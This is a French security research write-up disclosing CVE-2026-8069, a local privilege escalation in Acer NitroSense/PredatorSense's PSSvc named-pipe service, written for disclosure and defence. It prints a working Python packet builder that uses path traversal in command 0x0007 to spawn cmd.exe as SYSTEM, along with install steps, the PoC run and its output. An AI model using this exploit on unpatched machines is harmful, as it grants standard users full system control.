D'un named pipe Acer à NT AUTHORITY\SYSTEM : CVE-2026-8069

Acer NitroSense et PredatorSense 3.x installaient un service Windows nommé PSSvc qui exposait un protocole de named pipe personnalisé aux utilisateurs locaux. Une commande du protocole acceptait un chemin d'exécutable contrôlé par l'appelant, dupliquait le jeton de winlogon.exe et lançait cet exécutable en tant que NT AUTHORITY\SYSTEM.

La restriction de chemin dans le service vulnérable était un test de sous-chaîne. Un chemin commençant dans le répertoire du service puis utilisant des composants ..\ passait le test mais se résolvait ailleurs. Combiné au contrôle d'accès permissif du pipe et à l'absence d'autorisation de l'appelant, cela permettait à un utilisateur local standard d'obtenir un processus SYSTEM.

Acer a attribué CVE-2026-8069, a publié des correctifs et a crédité Artem Domarev de l'Université de Hradec Králové dans son avis de sécurité.

Cet article se concentre sur le chemin de création de processus/élévation de privilèges. L'avis d'Acer décrit également une suppression arbitraire de fichiers, qui sortait du cadre de cette validation.

Pourquoi j'ai choisi cette direction de recherche

Le choix de la direction de recherche a également été influencé par une analyse publique des logiciels OEM publiée par Leon Jacobs de SensePost. Ce travail documentait des vulnérabilités dans ASUS DriverHub, MSI Center, Acer Control Centre et Razer Synapse 4 (Jacobs, 2025). Cela a renforcé l'idée que les utilitaires matériels fournis par les fournisseurs peuvent exposer une surface d'attaque significative et sous-explorée. Plutôt que de revisiter Acer Control Centre, j'ai étendu l'investigation à une autre famille de produits Acer : NitroSense et PredatorSense.

Résumé exécutif

La chaîne d'exploitation est courte :

utilisateur local authentifié
        │
        ▼
named pipe PSSvc permissif
        │  commande personnalisée 0x0007
        ▼
vérification de chemin par sous-chaîne uniquement
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
duplication du jeton winlogon.exe de la session active
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

Un avertissement sur les numéros de version

Il existe une incohérence dans la formulation publique. La page d'Acer indique que les versions de NitroSense « antérieures à 3.01.3052 » sont concernées, alors que la version 3.1.3052.0 de PSSvc.exe signée par le fournisseur et testée pour cet article est manifestement vulnérable. La même page identifie NitroSense 3.01.3056 comme version corrigée. La plage d'applicabilité NVD s'étend également jusqu'à, mais sans inclure, 3.01.3056.

Pour PredatorSense, la phrase d'Acer sur les versions concernées s'arrête avant 3.00.3196, tandis que la version corrigée listée est 3.00.3198 et que NVD utilise cette dernière comme limite supérieure.

La règle opérationnelle prudente est donc simple : ne pas utiliser la phrase ambiguë « concerné » comme vérification de correctif. Mettez à niveau au moins vers les versions corrigées nommées par Acer — PredatorSense 3.00.3198 ou NitroSense 3.01.3056 — ou un package plus récent compatible avec le modèle.

Artefacts testés

Le problème a été reproduit avec le package NitroSense d'origine.

La signature Authenticode de PSSvc.exe a été validée avec succès et remontait jusqu'à Acer Incorporated. Le MSI installait PSSvc comme service à processus propre à démarrage manuel fonctionnant en tant que LocalSystem.

Comment j'ai trouvé le chemin vulnérable

1. Commencer par le service privilégié

Le package NitroSense installe :

SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

Un service SYSTEM n'est pas automatiquement vulnérable. La question importante est de savoir si un processus de moindre privilège peut atteindre des fonctionnalités conçues en supposant que son appelant est de confiance.

L'analyse des chaînes a immédiatement révélé le point de terminaison IPC :

\\.\pipe\predatorsense_service_namedpipe

2. Inspecter le descripteur de sécurité du named pipe

À 0x140014AD0, le service crée le pipe et transmet un descripteur de sécurité explicite à CreateNamedPipeW :

D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

Il convient de corriger explicitement ce point : la version vulnérable ne transmet pas un descripteur NULL. Elle crée une DACL permissive.

L'ACE AU suffit à un utilisateur authentifié normal pour ouvrir le pipe en lecture et en écriture. Le serveur n'effectue ensuite pas d'emprunt d'identité du client ni de décision d'autorisation avant de distribuer les commandes privilégiées.

3. Récupérer le format de la trame

Le thread client à 0x14000ABB0 lit les messages dans un tampon de 512 octets. Il analyse les trois premiers octets comme un numéro de commande sur 16 bits et un nombre d'arguments sur 8 bits. Chaque argument est préfixé par sa longueur :

Décalage  Taille  Signification
0x00      2       identifiant de commande, petit-boutiste
0x02      1       nombre d'arguments
0x03      4       longueur de l'argument 0
0x07      n       octets de l'argument 0
...               longueur DWORD répétée + valeur

Les arguments chaîne sont en UTF-16LE. Les arguments entiers sont des DWORD petit-boutistes. Le répartiteur accepte les identifiants de commande inférieurs à 0x23 et les utilise comme index dans une table de fonctions de 35 entrées à 0x140052C90.

L'entrée pour la commande 0x0007 pointe vers 0x14000BFD0.

4. Suivre la commande 0x0007

Réduit à son comportement pertinent pour la sécurité, le gestionnaire ressemble à ceci :

int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr répond uniquement si une chaîne est contenue dans une autre. Il ne canonicalise pas un chemin, ne résout pas les segments de points, n'ouvre pas de fichier et ne prouve pas que l'objet final reste sous un répertoire de confiance.

Supposons que le service soit installé dans :

C:\Program Files\Acer\NitroSense_Service

Le chemin suivant contient ce répertoire au décalage zéro, donc wcsstr réussit :

C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windows résout les segments de points en :

C:\WINDOWS\System32\cmd.exe

C'est une erreur de canonicalisation classique : la validation est effectuée sur une représentation textuelle, tandis que l'opération sensible consomme sa signification normalisée.

5. Tracer la branche du jeton

L'assistant de lancement de processus à 0x1400091F0 possède une branche spéciale lorsque le deuxième argument est 0x72 (décimal 114). Il :

1. obtient l'identifiant de la session console active ;
2. interroge le jeton de l'utilisateur actif et crée un bloc d'environnement ;
3. énumère les processus avec CreateToolhelp32Snapshot ;
4. localise winlogon.exe dans la session active ;
5. ouvre le processus et son jeton ;
6. duplique le jeton comme jeton principal ;
7. définit le jeton dupliqué à intégrité élevée ; et
8. lance le chemin fourni par l'appelant sur winsta0\default.

Les sites d'appel critiques dans le binaire testé étaient :

Cela signifie que la commande 0x0007 ne demande pas simplement à un service de lancer l'un de ses propres outils de confiance. Elle expose un lanceur de processus à jeton SYSTEM général à un pipe accessible aux utilisateurs ordinaires.

Construction du PoC

Le constructeur de paquets essentiel est petit :

import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# Le gestionnaire attend le chemin, le mode de jeton et huit emplacements supplémentaires.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

Le script de validation complet ouvre le pipe avec CreateFileW, définit le mode message, envoie ce paquet et décode la réponse du service. Il découvre le chemin du service installé au lieu de le coder en dur et vérifie la cible normalisée avant d'envoyer quoi que ce soit.

Le script complet utilisé pour cet article est disponible sous acer_cve_2026_8069_poc.py.

Reproduction

Étape 1 : Installer la version vulnérable

Le Setup.exe du fournisseur effectue des vérifications matérielles et fournit des propriétés MSI privées. J'ai extrait NitroSense.msi et récupéré ces propriétés depuis le bootstrapper .NET :

$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

Ces propriétés reproduisent le chemin d'installation du bootstrapper sur du matériel qui ne passe pas ses vérifications d'environnement.

Après l'installation, j'ai vérifié la version du fichier, le SHA-256 et la signature, puis j'ai démarré le service à démarrage manuel :

sc.exe qc PSSvc
sc.exe start PSSvc

Étape 2 : Utiliser un compte local standard

La requête a été envoyée depuis un compte local standard, non administratif, fonctionnant à intégrité moyenne.

Étape 3 : Déclencher la commande 0x0007

Depuis ce compte :

py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

Le service a renvoyé :

[PASS] Connecté
[INFO] Envoi de la CMD 0x0007 : chemin='cmd.exe', mode=0x72
       Taille du paquet : 227 octets

Réponse brute : 010400000001000000
Code de retour : 1

[CRITIQUE] PROCESSUS CRÉÉ AVEC SUCCÈS

Étape 4 : Vérifier indépendamment

Le message de succès du PoC n'est pas la preuve en soi. J'ai interrogé le processus résultant indépendamment depuis un canal de preuve administratif :

Parent      : PSSvc.exe
Session     : Interactive
Propriétaire : NT AUTHORITY\SYSTEM
Ligne de commande : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

Le shell SYSTEM était un enfant direct de PSSvc.exe dans la session interactive, avec le chemin de traversée préservé sur sa ligne de commande.

J'ai également tracé les API du service pendant la requête réussie. La trace a enregistré la session active 1, un WTSQueryUserToken réussi, un instantané de processus, un OpenProcess pour le winlogon.exe de la session, un DuplicateTokenEx réussi, la modification du jeton d'intégrité et un retour de succès de l'assistant de lancement de processus.

Cause racine

Il ne s'agissait pas d'une seule mauvaise comparaison isolée. L'exploitation nécessitait que plusieurs défaillances de confiance s'alignent :

1. La DACL du pipe autorisait les utilisateurs authentifiés à lire et à écrire.
2. Le serveur acceptait une commande privilégiée personnalisée sans authentifier ni autoriser le client.
3. La liste blanche d'exécutables était implémentée avec wcsstr plutôt qu'avec une validation canonique du chemin.
4. La commande exposait du code qui dupliquait délibérément un jeton hautement privilégié de winlogon.exe.
5. L'appelant contrôlait le chemin d'application finalement transmis à la création de processus.

Supprimer l'un quelconque des quatre derniers maillons aurait empêché ce chemin d'élévation de privilèges. La défense en profondeur devrait tous les supprimer.

Recommandations de remédiation

La remédiation prise en charge par Acer consiste à mettre à jour vers PredatorSense 3.00.3198, NitroSense 3.01.3056 ou une version ultérieure. Utilisez le package qu'Acer propose pour le numéro de série ou le SNID de la machine, comme décrit dans l'avis du fournisseur.

Pour les développeurs de services Windows privilégiés, les leçons plus larges sont :

• Donnez au pipe la liste de contrôle d'accès la plus restreinte possible — normalement des principaux spécifiques au service, SYSTEM et les administrateurs — et non tous les utilisateurs authentifiés.
• Authentifiez chaque client et autorisez chaque commande. L'accès au pipe seul n'est pas une décision d'autorisation.
• Empruntez l'identité du client du pipe pour évaluer qui demande, puis appliquez une politique documentée.
• Canonicalisez et résolvez un chemin avant la validation. Comparez les composants du chemin avec des règles correctes de limites et de casse, et tenez compte des points de réanalyse et des liens.
• Préférez une liste blanche d'identités d'exécutables immuables à un chemin contrôlé par l'appelant.
• N'exposez pas la duplication de jetons ou la création arbitraire de processus via un répartiteur IPC local à usage général.
• Journalisez les commandes rejetées et les informations pertinentes pour la sécurité sur l'appelant sans enregistrer de secrets.

Chronologie de divulgation

Réflexions finales

Les named pipes locaux sont faciles à confondre avec des frontières de confiance. Ce ne sont que des mécanismes de transport. Lorsqu'un service SYSTEM expose un répartiteur de commandes, son ACL de pipe, l'autorisation de l'appelant, la validation des arguments et l'implémentation privilégiée font tous partie de la frontière de sécurité.

Ici, un pipe permissif atteignait une routine de duplication de jetons, et une vérification de sous-chaîne tentait de se substituer au confinement de chemin. Le résultat était une transition fiable d'un utilisateur local standard vers NT AUTHORITY\SYSTEM.

Références

• Acer : Informations sur la vulnérabilité de sécurité des logiciels PredatorSense et NitroSense v3
• Base de données d'avis GitHub : CVE-2026-8069 / GHSA-67h9-58cf-72hp
• NVD : CVE-2026-8069
• CVE.org : CVE-2026-8069
• Jacobs, L. (2025, 24 juillet). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

Licence

L'article et les médias de recherche originaux sont sous licence Creative Commons Attribution 4.0 International. Le code source du PoC est sous licence MIT License. Voir LICENSE.md pour le périmètre et les exclusions de tiers.